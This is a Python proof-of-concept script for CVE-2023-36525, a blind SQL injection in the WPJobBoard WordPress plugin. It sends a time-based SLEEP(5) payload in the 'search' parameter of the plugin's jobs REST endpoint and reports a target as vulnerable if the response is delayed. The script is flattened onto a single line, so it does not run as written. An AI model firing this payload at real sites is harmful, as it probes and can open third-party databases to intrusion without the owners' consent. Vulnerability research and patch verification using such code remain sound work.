CVE-2023-36525

#!/usr/bin/env python3 """ CVE-2023-36525 - WPJobBoard Blind SQL Injection PoC Note: This is a demonstration code for security research purposes only. """ import requests import time import string import sys target = "http://target-site.com/" # Plugin endpoint that handles job search queries endpoint = target + "wp-json/wpjobboard/v1/jobs" def test_vulnerability(): """Test if target is vulnerable to CVE-2023-36525""" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/x-www-form-urlencoded" } # Normal request normal_payload = {"search": "test"} # Time-based blind SQL injection payload # If vulnerable, response will be delayed by ~5 seconds sql_payload = { "search": "test' AND (SELECT * FROM (SELECT SLEEP(5))s1) AND '1'='1" } print("[*] Testing CVE-2023-36525 - WPJobBoard Blind SQL Injection") print(f"[*] Target: {endpoint}") # Test normal request start = time.time() try: r1 = requests.get(endpoint, params=normal_payload, headers=headers, timeout=10) normal_time = time.time() - start print(f"[*] Normal request time: {normal_time:.2f}s") except requests.exceptions.RequestException as e: print(f"[!] Error with normal request: {e}") return False # Test malicious request start = time.time() try: r2 = requests.get(endpoint, params=sql_payload, headers=headers, timeout=15) sql_time = time.time() - start print(f"[*] SQL injection request time: {sql_time:.2f}s") except requests.exceptions.Timeout: print("[+] Target appears VULNERABLE (request timed out)") return True except requests.exceptions.RequestException as e: print(f"[!] Error with SQL request: {e}") return False # Check if response time indicates vulnerability if sql_time > 4.5: print("[+] Target appears VULNERABLE to CVE-2023-36525") return True else: print("[-] Target may not be vulnerable") return False if __name__ == "__main__": test_vulnerability()

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